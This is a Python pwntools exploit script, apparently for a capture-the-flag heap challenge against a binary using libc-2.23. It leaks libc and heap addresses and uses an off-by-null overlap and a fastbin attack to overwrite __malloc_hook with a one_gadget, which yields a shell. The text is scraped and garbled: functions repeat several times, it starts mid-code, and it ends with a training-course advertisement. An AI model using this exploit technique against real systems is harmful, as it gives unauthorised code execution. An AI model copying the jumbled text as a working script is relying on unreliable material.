"5.EXIT.\n"
)
p.sendline(b
'4'
)
def
get_libc():
global
__malloc_hook, libc_base
Add(
0x20
, b
'a'
*
20
, b
'b'
*
20
)
Delete(
0
)
Add(
0x20
, b
'c'
*
20
, b
'd'
*
20
)
Black()
p.recvuntil(b
"0\n"
)
p.recvuntil(b
"\x1B[1;33m ErrMsg \x1B[0m\n"
)
libc_base
=
u64(p.recvline()[:
-
1
].ljust(
8
, b
'\x00'
))
-
0x3c4b78
log.success(
"libc : 0x%x"
%
libc_base)
__malloc_hook
=
libc_base
+
libc.symbols[
"__malloc_hook"
]
def
get_libc():
global
__malloc_hook, libc_base
Add(
0x20
, b
'a'
*
20
, b
'b'
*
20
)
Delete(
0
)
Add(
0x20
, b
'c'
*
20
, b
'd'
*
20
)
Black()
p.recvuntil(b
"0\n"
)
p.recvuntil(b
"\x1B[1;33m ErrMsg \x1B[0m\n"
)
libc_base
=
u64(p.recvline()[:
-
1
].ljust(
8
, b
'\x00'
))
-
0x3c4b78
log.success(
"libc : 0x%x"
%
libc_base)
__malloc_hook
=
libc_base
+
libc.symbols[
"__malloc_hook"
]
def
get_heap():
global
heap_addr
Add(
0x80
, b
'e'
*
0x20
, b
'f'
*
0x10
)
# 1
Add(
0x80
, b
'g'
*
0x20
, b
'h'
*
0x10
)
# 2
Add(
0x80
, b
'i'
*
0x20
, b
'j'
*
0x10
)
# 3
Delete(
1
)
Delete(
3
)
Add(
0x20
, b
'i'
*
0x20
, b
'j'
*
0x10
)
# 1
Cook(
1
, b
'a'
*
0x10
, b
'cccccccn'
);
Black()
p.recvuntil(b
"1\n"
)
p.recvuntil(b
"\x1B[1;33m ErrMsg \x1B[0m\n"
)
p.recvuntil(b
'cccccccn'
)
heap_addr
=
u64(p.recvline()[:
-
1
].ljust(
8
, b
'\x00'
))
log.success(
"heap : 0x%x"
%
heap_addr)
def
get_heap():
global
heap_addr
Add(
0x80
, b
'e'
*
0x20
, b
'f'
*
0x10
)
# 1
Add(
0x80
, b
'g'
*
0x20
, b
'h'
*
0x10
)
# 2
Add(
0x80
, b
'i'
*
0x20
, b
'j'
*
0x10
)
# 3
Delete(
1
)
Delete(
3
)
Add(
0x20
, b
'i'
*
0x20
, b
'j'
*
0x10
)
# 1
Cook(
1
, b
'a'
*
0x10
, b
'cccccccn'
);
Black()
p.recvuntil(b
"1\n"
)
p.recvuntil(b
"\x1B[1;33m ErrMsg \x1B[0m\n"
)
p.recvuntil(b
'cccccccn'
)
heap_addr
=
u64(p.recvline()[:
-
1
].ljust(
8
, b
'\x00'
))
log.success(
"heap : 0x%x"
%
heap_addr)
def
get_shell():
Add(
0x80
, b
'i'
*
0x20
, b
'j'
*
0x10
)
# 3
Add(
0x60
, p64(
0
)
+
p64(
0x320
)
+
p64(heap_addr
+
0x190
)
+
p64(heap_addr
+
0x190
), b
'b'
*
0x10
)
# 4
Add(
0x60
, b
'c'
*
0x10
, b
'd'
*
0x10
)
# 5
Add(
0x60
, b
'e'
*
0x10
, b
'f'
*
0x10
)
# 6
Add(
0x60
, b
'h'
*
0x10
, b
'j'
*
0x10
)
# 7
Delete(
6
)
Add(
0x68
, b
'k'
*
0x60
+
p64(
0x320
), b
'j'
*
0x10
)
# 6
Delete(
6
)
Add(
0x2D0
, b
'a'
*
0x2A0
+
p64(
0
)
+
p64(
0x71
)
+
p64(__malloc_hook
-
0x23
)
+
p64(
0xdeadbeef
), b
'b'
*
0x10
)
# 6
Delete(
0
)
Delete(
1
)
Delete(
2
)
Add(
0x60
, b
'a'
*
0x10
, b
'b'
*
0x10
)
# 0
one
=
[
0x45226
,
0x4527a
,
0xf03a4
,
0xf1247
]
Add(
0x60
, b
'a'
*
0x13
+
p64(libc_base
+
one[
1
]), b
'c'
*
0x10
)
# 1
Delete(
4
)
def
get_shell():
Add(
0x80
, b
'i'
*
0x20
, b
'j'
*
0x10
)
# 3
Add(
0x60
, p64(
0
)
+
p64(
0x320
)
+
p64(heap_addr
+
0x190
)
+
p64(heap_addr
+
0x190
), b
'b'
*
0x10
)
# 4
Add(
0x60
, b
'c'
*
0x10
, b
'd'
*
0x10
)
# 5
Add(
0x60
, b
'e'
*
0x10
, b
'f'
*
0x10
)
# 6
Add(
0x60
, b
'h'
*
0x10
, b
'j'
*
0x10
)
# 7
Delete(
6
)
Add(
0x68
, b
'k'
*
0x60
+
p64(
0x320
), b
'j'
*
0x10
)
# 6
Delete(
6
)
Add(
0x2D0
, b
'a'
*
0x2A0
+
p64(
0
)
+
p64(
0x71
)
+
p64(__malloc_hook
-
0x23
)
+
p64(
0xdeadbeef
), b
'b'
*
0x10
)
# 6
Delete(
0
)
Delete(
1
)
Delete(
2
)
Add(
0x60
, b
'a'
*
0x10
, b
'b'
*
0x10
)
# 0
one
=
[
0x45226
,
0x4527a
,
0xf03a4
,
0xf1247
]
Add(
0x60
, b
'a'
*
0x13
+
p64(libc_base
+
one[
1
]), b
'c'
*
0x10
)
# 1
Delete(
4
)
from
pwn
import
*
#context.log_level='debug'
context.log_level
=
'info'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.arch
=
'amd64'
is_debug
=
False
is_local
=
False
def
connect():
global
elf, libc, p
elf
=
ELF(
'./562+5Liq5Yiw'
)
libc
=
ELF(
'./libc-2.23.so'
)
if
is_local:
p
=
process(
'./562+5Liq5Yiw'
)
else
:
p
=
remote(
'IP'
, port)
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(p, gdbscript
=
gdbscript)
pause()
else
:
pass
def
Add(size, data, mark):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'1'
)
p.recvuntil(b
"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n"
)
p.sendline(
str
(size).encode())
p.recvuntil(b
"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n"
)
p.send(data)
p.recvuntil(b
"\x1B[1;33m Give the chicken a mark. \x1B[0m\n"
)
p.send(mark)
def
Delete(idx):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'2'
)
p.recvuntil(b
"\x1B[1;33m Which chicken will you kill? \x1B[0m\n"
)
p.sendline(
str
(idx).encode())
def
Cook(idx, name, cook):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'3'
)
p.recvuntil(b
"\x1B[1;33m Which chicken will you cook? \x1B[0m\n"
)
p.sendline(
str
(idx).encode())
p.recvuntil(b
"Give me new name.\n"
)
p.send(name)
p.recvuntil(b
"Give me Cook name.\n"
)
p.send(cook)
def
Black():
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'4'
)
def
get_libc():
global
__malloc_hook, libc_base
Add(
0x20
, b
'a'
*
20
, b
'b'
*
20
)
# 0 errmsg_0x90->unsorted
Delete(
0
)
# errmsg_0x90->unsorted
Add(
0x20
, b
'c'
*
20
, b
'd'
*
20
)
# 0 # unsorted->errmsg_0x90
Black()
#debug() # db1
p.recvuntil(b
"0\n"
)
p.recvuntil(b
"\x1B[1;33m ErrMsg \x1B[0m\n"
)
libc_base
=
u64(p.recvline()[:
-
1
].ljust(
8
, b
'\x00'
))
-
0x3c4b78
log.success(
"libc : 0x%x"
%
libc_base)
__malloc_hook
=
libc_base
+
libc.symbols[
"__malloc_hook"
]
sleep(
0.5
)
def
get_heap():
global
heap_addr
Add(
0x80
, b
'e'
*
0x20
, b
'f'
*
0x10
)
# 1
Add(
0x80
, b
'g'
*
0x20
, b
'h'
*
0x10
)
# 2
Add(
0x80
, b
'i'
*
0x20
, b
'j'
*
0x10
)
# 3
Delete(
1
)
Delete(
3
)
#debug() # db2
Add(
0x20
, b
'i'
*
0x20
, b
'j'
*
0x10
)
# 1
Cook(
1
, b
'a'
*
0x10
, b
'cccccccn'
)
Black()
#debug() # db3
p.recvuntil(b
"1\n"
)
p.recvuntil(b
"\x1B[1;33m ErrMsg \x1B[0m\n"
)
p.recvuntil(b
'cccccccn'
)
heap_addr
=
u64(p.recvline()[:
-
1
].ljust(
8
, b
'\x00'
))
log.success(
"heap : 0x%x"
%
heap_addr)
sleep(
0.5
)
def
get_shell():
Add(
0x80
, b
'i'
*
0x20
, b
'j'
*
0x10
)
# 3
Add(
0x60
, p64(
0
)
+
p64(
0x320
)
+
p64(heap_addr
+
0x190
)
+
p64(heap_addr
+
0x190
), b
'b'
*
0x10
)
# 4 first 0x71
Add(
0x60
, b
'c'
*
0x10
, b
'd'
*
0x10
)
# 5
Add(
0x60
, b
'e'
*
0x10
, b
'f'
*
0x10
)
# 6
Add(
0x60
, b
'h'
*
0x10
, b
'j'
*
0x10
)
# 7
#debug() # db4
Delete(
6
)
#debug() # db5
Add(
0x68
, b
'k'
*
0x60
+
p64(
0x320
), b
'j'
*
0x10
)
# 6 off-by-null
#debug() # db6
Delete(
6
)
#debug() # db7
Add(
0x2D0
, b
'a'
*
0x2A0
+
p64(
0
)
+
p64(
0x71
)
+
p64(__malloc_hook
-
0x23
)
+
p64(
0xdeadbeef
), b
'b'
*
0x10
)
# 6
#debug() # db8
Delete(
0
)
Delete(
1
)
Delete(
2
)
Add(
0x60
, b
'a'
*
0x10
, b
'b'
*
0x10
)
# 0
one
=
[
0x45226
,
0x4527a
,
0xf03a4
,
0xf1247
]
Add(
0x60
, b
'a'
*
0x13
+
p64(libc_base
+
one[
1
]), b
'c'
*
0x10
)
# 1
#gdb.attach(p, 'b *_dl_signal_error')
Delete(
4
)
#pause()
sleep(
0.5
)
def
pwn():
connect()
get_libc()
get_heap()
get_shell()
p.interactive()
if
__name__
=
=
'__main__'
:
pwn()
from
pwn
import
*
#context.log_level='debug'
context.log_level
=
'info'
context.terminal
=
[
'tmux'
,
'splitw'
,
'-h'
]
context.arch
=
'amd64'
is_debug
=
False
is_local
=
False
def
connect():
global
elf, libc, p
elf
=
ELF(
'./562+5Liq5Yiw'
)
libc
=
ELF(
'./libc-2.23.so'
)
if
is_local:
p
=
process(
'./562+5Liq5Yiw'
)
else
:
p
=
remote(
'IP'
, port)
def
debug(gdbscript
=
""):
if
is_debug:
gdb.attach(p, gdbscript
=
gdbscript)
pause()
else
:
pass
def
Add(size, data, mark):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'1'
)
p.recvuntil(b
"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n"
)
p.sendline(
str
(size).encode())
p.recvuntil(b
"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n"
)
p.send(data)
p.recvuntil(b
"\x1B[1;33m Give the chicken a mark. \x1B[0m\n"
)
p.send(mark)
def
Delete(idx):
p.recvuntil(b
"5.EXIT.\n"
)
p.sendline(b
'2'
)
p.recvuntil(b
"\x1B[1;33m Which chicken will you kill? \x1B[0m\n"
)
p.sendline(
str
(idx).encode())
def
Cook(idx, name, cook):
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)